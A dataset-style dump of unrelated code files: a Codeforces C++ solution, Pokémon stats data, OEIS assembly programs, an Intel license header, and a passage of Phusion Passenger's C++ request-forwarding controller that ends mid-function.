text stringlengths 1 1.05M |
|---|
// codeforces/e89/A/main.cpp
// author: @___Johniel
// github: https://github.com/johniel/
#include <bits/stdc++.h>
#define each(i, c) for (auto& i : c)
#define unless(cond) if (!(cond))
using namespace std;
template<typename P, typename Q> ostream& operator << (ostream& os, pair<P, Q> p) { os << "(" << p.first << "," << p.second << ")"; return os; }
template<typename P, typename Q> istream& operator >> (istream& is, pair<P, Q>& p) { is >> p.first >> p.second; return is; }
template<typename T> ostream& operator << (ostream& os, vector<T> v) { os << "("; for (auto& i: v) os << i << ","; os << ")"; return os; }
template<typename T> istream& operator >> (istream& is, vector<T>& v) { for (auto& i: v) is >> i; return is; }
template<typename T> ostream& operator << (ostream& os, set<T> s) { os << "#{"; for (auto& i: s) os << i << ","; os << "}"; return os; }
template<typename K, typename V> ostream& operator << (ostream& os, map<K, V> m) { os << "{"; for (auto& i: m) os << i << ","; os << "}"; return os; }
template<typename T> inline T setmax(T& a, T b) { return a = std::max(a, b); }
template<typename T> inline T setmin(T& a, T b) { return a = std::min(a, b); }
using lli = long long int;
using ull = unsigned long long;
using point = complex<double>;
using str = string;
template<typename T> using vec = vector<T>;
constexpr array<int, 8> di({0, 1, -1, 0, 1, -1, 1, -1});
constexpr array<int, 8> dj({1, 0, 0, -1, 1, -1, -1, 1});
constexpr lli mod = 1e9 + 7;
int main(int argc, char *argv[])
{
ios_base::sync_with_stdio(0);
cin.tie(0);
cout.setf(ios_base::fixed);
cout.precision(15);
int _;
cin >> _;
lli a, b;
while (cin >> a >> b) {
unless (a < b) swap(a, b);
lli c = min(a, abs(b - a));
a -= c;
b -= c * 2;
lli d = min(a, b) / 3;
a -= d * 3;
b -= d * 3;
if (1 <= a && 2 <= b) ++c;
else if (2 <= a && 1 <= b) ++c;
cout << d*2 + c << endl;
}
return 0;
}
|
db 0 ; species ID placeholder
db 45, 63, 37, 95, 65, 55
; hp atk def spd sat sdf
db ELECTRIC, ELECTRIC ; type
db 45 ; catch rate
db 106 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F25 ; gender ratio
db 100 ; unknown 1
db 25 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/elekid/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_NONE, EGG_NONE ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ZAP_CANNON, HIDDEN_POWER, SNORE, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, THUNDER, RETURN, PSYCHIC_M, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, THUNDERPUNCH, DETECT, REST, ATTRACT, THIEF, FIRE_PUNCH, FLASH, THUNDERBOLT
; end
|
; A044640: Numbers n such that string 0,8 occurs in the base 9 representation of n but not of n+1.
; 89,170,251,332,413,494,575,656,737,809,818,899,980,1061,1142,1223,1304,1385,1466,1538,1547,1628,1709,1790,1871,1952,2033,2114,2195,2267,2276,2357,2438,2519,2600,2681,2762,2843,2924
mul $0,2
mov $2,$0
mov $0,5
add $2,2
mul $0,$2
add $0,1
cal $0,324161 ; Number of zerofree nonnegative integers <= n.
add $0,25
mov $1,$0
sub $1,35
mul $1,9
add $1,89
|
; A027620: a(n) = n + (n+1)^2 + (n+2)^3.
; 9,32,75,144,245,384,567,800,1089,1440,1859,2352,2925,3584,4335,5184,6137,7200,8379,9680,11109,12672,14375,16224,18225,20384,22707,25200,27869,30720,33759,36992,40425,44064,47915,51984,56277,60800,65559,70560,75809,81312,87075,93104,99405,105984,112847,120000,127449,135200,143259,151632,160325,169344,178695,188384,198417,208800,219539,230640,242109,253952,266175,278784,291785,305184,318987,333200,347829,362880,378359,394272,410625,427424,444675,462384,480557,499200,518319,537920,558009,578592
add $0,3
mov $1,$0
pow $0,2
sub $1,2
mul $0,$1
|
;;
;; Copyright (c) 2017-2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define SHA224
%include "mb_mgr_hmac_sha_256_submit_avx512.asm"
|
/*
* Phusion Passenger - https://www.phusionpassenger.com/
* Copyright (c) 2011-2017 Phusion Holding B.V.
*
* "Passenger", "Phusion Passenger" and "Union Station" are registered
* trademarks of Phusion Holding B.V.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <Core/Controller.h>
#include <Utils/SystemTime.h>
/*************************************************************************
*
* Implements Core::Controller methods pertaining sending request data
* to a selected application process. This happens in parallel to forwarding
* application response data to the client.
*
*************************************************************************/
namespace Passenger {
namespace Core {
using namespace std;
using namespace boost;
/****************************
*
* Private methods
*
****************************/
struct Controller::SessionProtocolWorkingState {
StaticString path;
StaticString queryString;
StaticString methodStr;
StaticString serverName;
StaticString serverPort;
const LString *remoteAddr;
const LString *remotePort;
const LString *remoteUser;
const LString *contentType;
const LString *contentLength;
char *environmentVariablesData;
size_t environmentVariablesSize;
bool hasBaseURI;
SessionProtocolWorkingState()
: environmentVariablesData(NULL)
{ }
~SessionProtocolWorkingState() {
free(environmentVariablesData);
}
};
struct Controller::HttpHeaderConstructionCache {
StaticString methodStr;
const LString *remoteAddr;
const LString *setCookie;
bool cached;
};
void
Controller::sendHeaderToApp(Client *client, Request *req) {
TRACE_POINT();
SKC_TRACE(client, 2, "Sending headers to application with " <<
req->session->getProtocol() << " protocol");
req->state = Request::SENDING_HEADER_TO_APP;
P_ASSERT_EQ(req->halfClosePolicy, Request::HALF_CLOSE_POLICY_UNINITIALIZED);
if (req->session->getProtocol() == "session") {
UPDATE_TRACE_POINT();
if (req->bodyType == Request::RBT_NO_BODY) {
// When there is no request body we will try to keep-alive the
// application connection, so half-close the application
// connection upon encountering the next request's early error
// in order not to break the keep-alive.
req->halfClosePolicy = Request::HALF_CLOSE_UPON_NEXT_REQUEST_EARLY_READ_ERROR;
} else {
// When there is a request body we won't try to keep-alive
// the application connection, so it's safe to half-close immediately
// upon reaching the end of the request body.
req->halfClosePolicy = Request::HALF_CLOSE_UPON_REACHING_REQUEST_BODY_END;
}
sendHeaderToAppWithSessionProtocol(client, req);
} else {
UPDATE_TRACE_POINT();
if (req->bodyType == Request::RBT_UPGRADE) {
req->halfClosePolicy = Request::HALF_CLOSE_UPON_REACHING_REQUEST_BODY_END;
} else {
// HTTP does not formally support half-closing. Some apps support
// HTTP with half-closing, others (such as Node.js http.Server with
// default settings) treat a half-close as a full close. Furthermore,
// we always try to keep-alive the application connection.
//
// So we can't half-close immediately upon reaching the end of the
// request body. The app might not have yet sent a response by then.
// We only half-close upon the next request's early error.
req->halfClosePolicy = Request::HALF_CLOSE_UPON_NEXT_REQUEST_EARLY_READ_ERROR;
}
sendHeaderToAppWithHttpProtocol(client, req);
}
UPDATE_TRACE_POINT();
if (!req->ended()) {
if (req->appSink.acceptingInput()) {
UPDATE_TRACE_POINT();
sendBodyToApp(client, req);
if (!req->ended()) {
req->appSource.startReading();
}
} else if (req->appSink.mayAcceptInputLater()) {
UPDATE_TRACE_POINT();
SKC_TRACE(client, 3, "Waiting for appSink channel to become "
"idle before sending body to application");
req->appSink.setConsumedCallback(sendBodyToAppWhenAppSinkIdle);
req->appSource.startReading();
} else {
// Either we're done feeding to req->appSink, or req->appSink.feed()
// encountered an error while writing to the application socket.
// But we don't care about either scenarios; we just care that
// ForwardResponse.cpp will now forward the response data and end the
// request when it's done.
UPDATE_TRACE_POINT();
assert(req->appSink.ended() || req->appSink.hasError());
logAppSocketWriteError(client, req->appSink.getErrcode());
req->state = Request::WAITING_FOR_APP_OUTPUT;
req->appSource.startReading();
}
}
}
void
Controller::sendHeaderToAppWithSessionProtocol(Client *client, Request *req) {
TRACE_POINT();
SessionProtocolWorkingState state;
// Workaround for Ruby < 2.1 support.
std::string deltaMonotonic;
unsigned long long now = SystemTime::getUsec();
MonotonicTimeUsec monotonicNow = SystemTime::getMonotonicUsec();
if (now > monotonicNow) {
deltaMonotonic = boost::to_string(now - monotonicNow);
} else {
long long diff = monotonicNow - now;
deltaMonotonic = boost::to_string(-diff);
}
unsigned int bufferSize = determineHeaderSizeForSessionProtocol(req,
state, deltaMonotonic);
MemoryKit::mbuf_pool &mbuf_pool = getContext()->mbuf_pool;
const unsigned int MBUF_MAX_SIZE = mbuf_pool_data_size(&mbuf_pool);
bool ok;
if (bufferSize <= MBUF_MAX_SIZE) {
MemoryKit::mbuf buffer(MemoryKit::mbuf_get(&mbuf_pool));
bufferSize = MBUF_MAX_SIZE;
ok = constructHeaderForSessionProtocol(req, buffer.start,
bufferSize, state, deltaMonotonic);
assert(ok);
buffer = MemoryKit::mbuf(buffer, 0, bufferSize);
SKC_TRACE(client, 3, "Header data: \"" << cEscapeString(
StaticString(buffer.start, bufferSize)) << "\"");
req->appSink.feedWithoutRefGuard(boost::move(buffer));
} else {
char *buffer = (char *) psg_pnalloc(req->pool, bufferSize);
ok = constructHeaderForSessionProtocol(req, buffer,
bufferSize, state, deltaMonotonic);
assert(ok);
SKC_TRACE(client, 3, "Header data: \"" << cEscapeString(
StaticString(buffer, bufferSize)) << "\"");
req->appSink.feedWithoutRefGuard(MemoryKit::mbuf(
buffer, bufferSize));
}
(void) ok; // Shut up compiler warning
}
void
Controller::sendBodyToAppWhenAppSinkIdle(Channel *_channel, unsigned int size) {
FdSinkChannel *channel = reinterpret_cast<FdSinkChannel *>(_channel);
Request *req = static_cast<Request *>(static_cast<
ServerKit::BaseHttpRequest *>(channel->getHooks()->userData));
Client *client = static_cast<Client *>(req->client);
Controller *self = static_cast<Controller *>(
getServerFromClient(client));
SKC_LOG_EVENT_FROM_STATIC(self, Controller, client, "sendBodyToAppWhenAppSinkIdle");
channel->setConsumedCallback(NULL);
if (channel->acceptingInput()) {
self->sendBodyToApp(client, req);
if (!req->ended()) {
req->appSource.startReading();
}
} else {
// req->appSink.feed() encountered an error while writing to the
// application socket. But we don't care about that; we just care that
// ForwardResponse.cpp will now forward the response data and end the
// request when it's done.
UPDATE_TRACE_POINT();
assert(!req->appSink.ended());
assert(req->appSink.hasError());
self->logAppSocketWriteError(client, req->appSink.getErrcode());
req->state = Request::WAITING_FOR_APP_OUTPUT;
req->appSource.startReading();
}
}
static bool
isAlphaNum(char ch) {
return (ch >= '0' && ch <= '9') || (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z');
}
/**
* For CGI, alphanum headers with optional dashes are mapped to UPP3R_CAS3. This
* function can be used to reject non-alphanum/dash headers that would end up with
* the same mapping (e.g. upp3r_cas3 and upp3r-cas3 would end up the same, and
* potentially collide each other in the receiving application). This is
* used to fix CVE-2015-7519.
*/
static bool
containsNonAlphaNumDash(const LString &s) {
const LString::Part *part = s.start;
while (part != NULL) {
for (unsigned int i = 0; i < part->size; i++) {
const char start = part->data[i];
if (start != '-' && !isAlphaNum(start)) {
return true;
}
}
part = part->next;
}
return false;
}
static void
httpHeaderToScgiUpperCase(unsigned char *data, unsigned int size) {
static const boost::uint8_t toUpperMap[256] = {
'\0', 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, '\t',
'\n', 0x0b, 0x0c, '\r', 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d,
0x1e, 0x1f, ' ', '!', '"', '#', '$', '%', '&', '\'',
'(', ')', '*', '+', ',', '_', '.', '/', '0', '1',
'2', '3', '4', '5', '6', '7', '8', '9', ':', ';',
'<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E',
'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z', '[', '\\', ']', '^', '_', '`', 'A', 'B', 'C',
'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z', '{', '|', '}', '~', 0x7f, 0x80, 0x81,
0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b,
0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95,
0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9,
0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd,
0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1,
0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb,
0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5,
0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,
0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
};
const unsigned char *buf = data;
const size_t imax = size / 8;
const size_t leftover = size % 8;
size_t i;
for (i = 0; i < imax; i++, data += 8) {
data[0] = (unsigned char) toUpperMap[data[0]];
data[1] = (unsigned char) toUpperMap[data[1]];
data[2] = (unsigned char) toUpperMap[data[2]];
data[3] = (unsigned char) toUpperMap[data[3]];
data[4] = (unsigned char) toUpperMap[data[4]];
data[5] = (unsigned char) toUpperMap[data[5]];
data[6] = (unsigned char) toUpperMap[data[6]];
data[7] = (unsigned char) toUpperMap[data[7]];
}
i = imax * 8;
switch (leftover) {
case 7: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 6: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 5: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 4: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 3: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 2: *data++ = (unsigned char) toUpperMap[buf[i++]];
case 1: *data++ = (unsigned char) toUpperMap[buf[i]];
case 0: break;
}
}
unsigned int
Controller::determineHeaderSizeForSessionProtocol(Request *req,
SessionProtocolWorkingState &state, string delta_monotonic)
{
unsigned int dataSize = sizeof(boost::uint32_t);
state.path = req->getPathWithoutQueryString();
state.hasBaseURI = req->options.baseURI != P_STATIC_STRING("/")
&& startsWith(state.path, req->options.baseURI);
if (state.hasBaseURI) {
state.path = state.path.substr(req->options.baseURI.size());
if (state.path.empty()) {
state.path = P_STATIC_STRING("/");
}
}
state.queryString = req->getQueryString();
state.methodStr = StaticString(http_method_str(req->method));
state.remoteAddr = req->secureHeaders.lookup(REMOTE_ADDR);
state.remotePort = req->secureHeaders.lookup(REMOTE_PORT);
state.remoteUser = req->secureHeaders.lookup(REMOTE_USER);
state.contentType = req->headers.lookup(HTTP_CONTENT_TYPE);
if (req->hasBody()) {
state.contentLength = req->headers.lookup(HTTP_CONTENT_LENGTH);
} else {
state.contentLength = NULL;
}
if (req->envvars != NULL) {
size_t len = modp_b64_decode_len(req->envvars->size);
state.environmentVariablesData = (char *) malloc(len);
if (state.environmentVariablesData == NULL) {
throw RuntimeException("Unable to allocate memory for base64 "
"decoding of environment variables");
}
len = modp_b64_decode(state.environmentVariablesData,
req->envvars->start->data,
req->envvars->size);
if (len == (size_t) -1) {
throw RuntimeException("Unable to base64 decode environment variables");
}
state.environmentVariablesSize = len;
}
dataSize += sizeof("REQUEST_URI");
dataSize += req->path.size + 1;
dataSize += sizeof("PATH_INFO");
dataSize += state.path.size() + 1;
dataSize += sizeof("SCRIPT_NAME");
if (state.hasBaseURI) {
dataSize += req->options.baseURI.size();
} else {
dataSize += sizeof("");
}
dataSize += sizeof("QUERY_STRING");
dataSize += state.queryString.size() + 1;
dataSize += sizeof("REQUEST_METHOD");
dataSize += state.methodStr.size() + 1;
if (req->host != NULL && req->host->size > 0) {
const LString *host = psg_lstr_make_contiguous(req->host, req->pool);
const char *sep = (const char *) memchr(host->start->data, ':', host->size);
if (sep != NULL) {
state.serverName = StaticString(host->start->data, sep - host->start->data);
state.serverPort = StaticString(sep + 1,
host->start->data + host->size - sep - 1);
} else {
state.serverName = StaticString(host->start->data, host->size);
if (req->https) {
state.serverPort = P_STATIC_STRING("443");
} else {
state.serverPort = P_STATIC_STRING("80");
}
}
} else {
state.serverName = req->config->defaultServerName;
state.serverPort = req->config->defaultServerPort;
}
dataSize += sizeof("SERVER_NAME");
dataSize += state.serverName.size() + 1;
dataSize += sizeof("SERVER_PORT");
dataSize += state.serverPort.size() + 1;
dataSize += sizeof("SERVER_SOFTWARE");
dataSize += req->config->serverSoftware.size() + 1;
dataSize += sizeof("SERVER_PROTOCOL");
dataSize += sizeof("HTTP/1.1");
dataSize += sizeof("REMOTE_ADDR");
if (state.remoteAddr != NULL) {
dataSize += state.remoteAddr->size + 1;
} else {
dataSize += sizeof("127.0.0.1");
}
dataSize += sizeof("REMOTE_PORT");
if (state.remotePort != NULL) {
dataSize += state.remotePort->size + 1;
} else {
dataSize += sizeof("0");
}
if (state.remoteUser != NULL) {
dataSize += sizeof("REMOTE_USER");
dataSize += state.remoteUser->size + 1;
}
if (state.contentType != NULL) {
dataSize += sizeof("CONTENT_TYPE");
dataSize += state.contentType->size + 1;
}
if (state.contentLength != NULL) {
dataSize += sizeof("CONTENT_LENGTH");
dataSize += state.contentLength->size + 1;
}
dataSize += sizeof("PASSENGER_CONNECT_PASSWORD");
dataSize += ApplicationPool2::ApiKey::SIZE + 1;
if (req->https) {
dataSize += sizeof("HTTPS");
dataSize += sizeof("on");
}
if (req->options.analytics) {
dataSize += sizeof("PASSENGER_TXN_ID");
dataSize += req->options.transaction->getTxnId().size() + 1;
dataSize += sizeof("PASSENGER_DELTA_MONOTONIC");
dataSize += delta_monotonic.size() + 1;
}
if (req->upgraded()) {
dataSize += sizeof("HTTP_CONNECTION");
dataSize += sizeof("upgrade");
}
ServerKit::HeaderTable::Iterator it(req->headers);
while (*it != NULL) {
dataSize += sizeof("HTTP_") - 1 + it->header->key.size + 1;
dataSize += it->header->val.size + 1;
it.next();
}
if (state.environmentVariablesData != NULL) {
dataSize += state.environmentVariablesSize;
}
return dataSize + 1;
}
bool
Controller::constructHeaderForSessionProtocol(Request *req, char * restrict buffer,
unsigned int &size, const SessionProtocolWorkingState &state, string delta_monotonic)
{
char *pos = buffer;
const char *end = buffer + size;
pos += sizeof(boost::uint32_t);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("REQUEST_URI"));
pos = appendData(pos, end, req->path.start->data, req->path.size);
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("PATH_INFO"));
pos = appendData(pos, end, state.path.data(), state.path.size());
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("SCRIPT_NAME"));
if (state.hasBaseURI) {
pos = appendData(pos, end, req->options.baseURI);
pos = appendData(pos, end, "", 1);
} else {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL(""));
}
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("QUERY_STRING"));
pos = appendData(pos, end, state.queryString.data(), state.queryString.size());
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("REQUEST_METHOD"));
pos = appendData(pos, end, state.methodStr);
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("SERVER_NAME"));
pos = appendData(pos, end, state.serverName);
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("SERVER_PORT"));
pos = appendData(pos, end, state.serverPort);
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("SERVER_SOFTWARE"));
pos = appendData(pos, end, req->config->serverSoftware);
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("SERVER_PROTOCOL"));
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("HTTP/1.1"));
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("REMOTE_ADDR"));
if (state.remoteAddr != NULL) {
pos = appendData(pos, end, state.remoteAddr);
pos = appendData(pos, end, "", 1);
} else {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("127.0.0.1"));
}
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("REMOTE_PORT"));
if (state.remotePort != NULL) {
pos = appendData(pos, end, state.remotePort);
pos = appendData(pos, end, "", 1);
} else {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("0"));
}
if (state.remoteUser != NULL) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("REMOTE_USER"));
pos = appendData(pos, end, state.remoteUser);
pos = appendData(pos, end, "", 1);
}
if (state.contentType != NULL) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("CONTENT_TYPE"));
pos = appendData(pos, end, state.contentType);
pos = appendData(pos, end, "", 1);
}
if (state.contentLength != NULL) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("CONTENT_LENGTH"));
pos = appendData(pos, end, state.contentLength);
pos = appendData(pos, end, "", 1);
}
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("PASSENGER_CONNECT_PASSWORD"));
pos = appendData(pos, end, req->session->getApiKey().toStaticString());
pos = appendData(pos, end, "", 1);
if (req->https) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("HTTPS"));
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("on"));
}
if (req->options.analytics) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("PASSENGER_TXN_ID"));
pos = appendData(pos, end, req->options.transaction->getTxnId());
pos = appendData(pos, end, "", 1);
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("PASSENGER_DELTA_MONOTONIC"));
pos = appendData(pos, end, delta_monotonic);
pos = appendData(pos, end, "", 1);
}
if (req->upgraded()) {
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("HTTP_CONNECTION"));
pos = appendData(pos, end, P_STATIC_STRING_WITH_NULL("upgrade"));
}
ServerKit::HeaderTable::Iterator it(req->headers);
while (*it != NULL) {
// This header-skipping is not accounted for in determineHeaderSizeForSessionProtocol(), but
// since we are only reducing the size it just wastes some mem bytes.
if ((
(it->header->hash == HTTP_CONTENT_LENGTH.hash()
|| it->header->hash == HTTP_CONTENT_TYPE.hash()
|| it->header->hash == HTTP_CONNECTION.hash()
) && (psg_lstr_cmp(&it->header->key, P_STATIC_STRING("content-type"))
|| psg_lstr_cmp(&it->header->key, P_STATIC_STRING("content-length"))
|| psg_lstr_cmp(&it->header->key, P_STATIC_STRING("connection"))
)
) || containsNonAlphaNumDash(it->header->key)
)
{
it.next();
continue;
}
pos = appendData(pos, end, P_STATIC_STRING("HTTP_"));
const LString::Part *part = it->header->key.start;
while (part != NULL) {
char *start = pos;
pos = appendData(pos, end, part->data, part->size);
httpHeaderToScgiUpperCase((unsigned char *) start, pos - start);
part = part->next;
}
pos = appendData(pos, end, "", 1);
part = it->header->val.start;
while (part != NULL) {
pos = appendData(pos, end, part->data, part->size);
part = part->next;
}
pos = appendData(pos, end, "", 1);
it.next();
}
if (state.environmentVariablesData != NULL) {
pos = appendData(pos, end, state.environmentVariablesData, state.environmentVariablesSize);
}
Uint32Message::generate(buffer, pos - buffer - sizeof(boost::uint32_t));
size = pos - buffer;
return pos < end;
}
void
Controller::sendHeaderToAppWithHttpProtocol(Client *client, Request *req) {
ssize_t bytesWritten;
HttpHeaderConstructionCache cache;
cache.cached = false;
if (OXT_UNLIKELY(LoggingKit::getLevel() >= LoggingKit::DEBUG3)) {
struct iovec *buffers;
unsigned int nbuffers, dataSize;
bool ok;
ok = constructHeaderBuffersForHttpProtocol(req, NULL, 0,
nbuffers, dataSize, cache);
assert(ok);
buffers = (struct iovec *) psg_palloc(req->pool,
sizeof(struct iovec) * nbuffers);
ok = constructHeaderBuffersForHttpProtocol(req, buffers, nbuffers,
nbuffers, dataSize, cache);
assert(ok);
(void) ok; // Shut up compiler warning
char *buffer = (char *) psg_pnalloc(req->pool, dataSize);
gatherBuffers(buffer, dataSize, buffers, nbuffers);
SKC_TRACE(client, 3, "Header data: \"" <<
cEscapeString(StaticString(buffer, dataSize)) << "\"");
}
if (!sendHeaderToAppWithHttpProtocolAndWritev(req, bytesWritten, cache)) {
if (bytesWritten >= 0 || errno == EAGAIN || errno == EWOULDBLOCK) {
sendHeaderToAppWithHttpProtocolWithBuffering(req, bytesWritten, cache);
} else {
int e = errno;
P_ASSERT_EQ(bytesWritten, -1);
disconnectWithAppSocketWriteError(&client, e);
}
}
}
/**
* Construct an array of buffers, which together contain the 'http' protocol header
* data that should be sent to the application. This method does not copy any data:
* it just constructs buffers that point to the data stored inside `req->pool`,
* `req->headers`, etc.
*
* The buffers will be stored in the array pointed to by `buffer`. This array must
* have space for at least `maxbuffers` items. The actual number of buffers constructed
* is stored in `nbuffers`, and the total data size of the buffers is stored in `dataSize`.
* Upon success, returns true. If the actual number of buffers necessary exceeds
* `maxbuffers`, then false is returned.
*
* You can also set `buffers` to NULL, in which case this method will not construct any
* buffers, but only count the number of buffers necessary, as well as the total data size.
* In this case, this method always returns true.
*/
bool
Controller::constructHeaderBuffersForHttpProtocol(Request *req, struct iovec *buffers,
unsigned int maxbuffers, unsigned int & restrict_ref nbuffers,
unsigned int & restrict_ref dataSize, HttpHeaderConstructionCache &cache)
{
#define BEGIN_PUSH_NEXT_BUFFER() \
do { \
if (buffers != NULL && i >= maxbuffers) { \
return false; \
} \
} while (false)
#define INC_BUFFER_ITER(i) \
do { \
i++; \
} while (false)
#define PUSH_STATIC_BUFFER(buf) \
do { \
BEGIN_PUSH_NEXT_BUFFER(); \
if (buffers != NULL) { \
buffers[i].iov_base = (void *) buf; \
buffers[i].iov_len = sizeof(buf) - 1; \
} \
INC_BUFFER_ITER(i); \
dataSize += sizeof(buf) - 1; \
} while (false)
ServerKit::HeaderTable::Iterator it(req->headers);
const LString::Part *part;
unsigned int i = 0;
nbuffers = 0;
dataSize = 0;
if (!cache.cached) {
cache.methodStr = http_method_str(req->method);
cache.remoteAddr = req->secureHeaders.lookup(REMOTE_ADDR);
cache.setCookie = req->headers.lookup(ServerKit::HTTP_SET_COOKIE);
cache.cached = true;
}
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) cache.methodStr.data();
buffers[i].iov_len = cache.methodStr.size();
}
INC_BUFFER_ITER(i);
dataSize += cache.methodStr.size();
PUSH_STATIC_BUFFER(" ");
if (buffers != NULL) {
BEGIN_PUSH_NEXT_BUFFER();
buffers[i].iov_base = (void *) req->path.start->data;
buffers[i].iov_len = req->path.size;
}
INC_BUFFER_ITER(i);
dataSize += req->path.size;
if (req->upgraded()) {
